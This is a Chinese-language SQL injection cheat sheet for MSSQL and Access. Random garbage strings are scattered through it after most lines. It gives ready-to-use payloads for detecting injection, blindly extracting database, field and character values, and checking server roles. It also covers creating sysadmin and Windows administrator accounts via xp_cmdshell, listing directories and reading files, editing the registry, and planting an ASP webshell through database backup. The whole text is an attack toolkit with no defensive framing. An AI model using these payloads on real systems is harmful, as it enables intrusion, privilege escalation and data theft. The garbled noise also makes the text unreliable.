1.判断是否有注入;and 1=1 ;and 1=2 '|vD/Qf=&
2.初步判断是否是mssql ;and user>0 nNt*} k
f4]N0
3.注入参数是字符'and [查询条件] and ''=' "z
rA``
~bdv_|k
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 0HGl f
[8>z#*B
5.判断数据库系统
BdN8
^W
:83,[;GO2
;and (select count(*) from sysobjects)>0 mssql FJP< bREQ
^4c,U9J=
;and (select count(*) from msysobjects)>0 access 0U$:>bQ
e^j<jV`1
c_
La^HS
r55qmPhg
6.猜数据库 ;and (select Count(*) from [数据库名])>0 z;i4N3-:
Fi mN?s
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 >_XOc
`NBbTQtgO
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ldA!ou7
QX[Djz0H8
9.(1)猜字段的ascii值(access) n[!;yO
;Vg^!]LL#
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 1EVfowIl
^>C11v
(2)猜字段的ascii值(mssql) =96G8hlT
Zp?4uQ)[W
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 7ftR4
,4[dLWU
10.测试权限结构(mssql) 4&Byl85q
k`Nyi)AGe
lC0~c=?J
Q"40#RFA
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- O~V1Ywfq7^
A (Bk@;
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- u*2fP]n
kw*)/$5]
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- pet~[e%!
JIzY,%`\
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- }91*4@B7
AXs=1 e
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Kx~$Bor_!
ZWO)tVw9G
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ; e@gO
ipobr7G.SD
;and 1=(select IS_MEMBER('db_owner'));-- i3#'*7f%j
8".2)W4*
LheFQ A
$.pTB(tO
11.添加mssql和系统的帐户 ?WQNIX4
$B\ H
;exec master.dbo.sp_addlogin username;-- I,b9t\(6
;exec master.dbo.sp_password null,username,password;-- ?v:ZU~i
IV'p~t
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- c!It^*
YTK^ijmU6x
;exec master.dbo.xp_cmdshell 'net user username password qj&bo
.20V
3
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- &)n_]R#)
\R(R9cry
;exec master.dbo.xp_cmdshell 'net user username password /add';-- w/W7N
8nCp\0
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- CK0l9#g
gxwo4.,
FZF @
[#Y' dFQ
12.(1)遍历目录 ciudRK63M
uRE*%d>
;create table dirs(paths varchar(100), id int) )P?IqSEA%
re^Hc(8M
;insert dirs exec master.dbo.xp_dirtree 'c:\' >c4/?YV
'cV?i&;
;and (select top 1 paths from dirs)>0 yhpz5[AuO
rEdY>\'
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) `9Yn0B.
(luKn&826
54{q.I@n
+`B'r
'
(2)遍历目录 3uV4/%U
w7FoL
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- oKA& An
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ^rL_C}YBj-
%y&]'A
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 <_Eg?ePW#
%v+=;jw
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 lwT9~Hyp
D'b#,a;V
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 %T!J$a)qf
?P/AC$:|I
(CJ.BHu]
9@K.cdRjQ
13.mssql中的存储过程 .$&Q[r3Lu
e4`uVq5
xp_regenumvalues 注册表根键, 子键 G,XPT,:%
d;7uFh|o
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 m}3gZu]
s
=Umj'1k
xp_regread 根键,子键,键值名 ?<U{{C
=Q<L
eh=G
;exec xp_regread Md,pDWb
v.=/Y(J
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 h1[WhBL-O
QJn`WSw$_-
xp_regwrite 根键,子键, 值名, 值类型, 值 C3XmK}h
&H||&Z[pk
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 M6rc!K
>Kivuc
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 sbj";h=E
L?5f+@0.
xp_regdeletevalue 根键,子键,值名 \(
)#e
[8XLK 4e
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ?kTWpXx"=
$s\UL}Gc
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ;@3FF
FS"eM"z
:7g=b%;
T6#CK
14.mssql的backup创建webshell g&Vcg`
`.%JjsD<
use model F'JY?
eq[Et
+
create table cmd(str image); XL$* _c <)
O(z}H}Fv
insert into cmd(str) values (''); $w#r"= )
#!2k<Q*5uT
backup database model to disk='c:\l.asp'; G8Z 4J7^
-nbMTY}
Km#pX1]>e
UPiW73Nu
15.mssql内置函数 e>}}:Ud
l?8M
p$M
;and (select @@version)>0 获得Windows的版本号 5J2=`=FK
1ocJ+
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ;CHi\+` 5
~utJB 'gr
;and (select user_name())>0 爆当前系统的连接用户 ziE*'p
L';MP^
;and (select db_name())>0 得到当前连接的数据库 CZ<~3bEF
&HW1mNF9
X2|Y
N8r*dadDd
16.简洁的webshell en F :>H4
(1R?s>3o
use model L!Cz'm"Nl
!v.9"!' N
create table cmd(str image); #R0A= !
"=. t
36#
insert into cmd(str) values (''); 20RXK1So
V'Kgdj
backup database model to disk='g:\wwwtest\l.asp';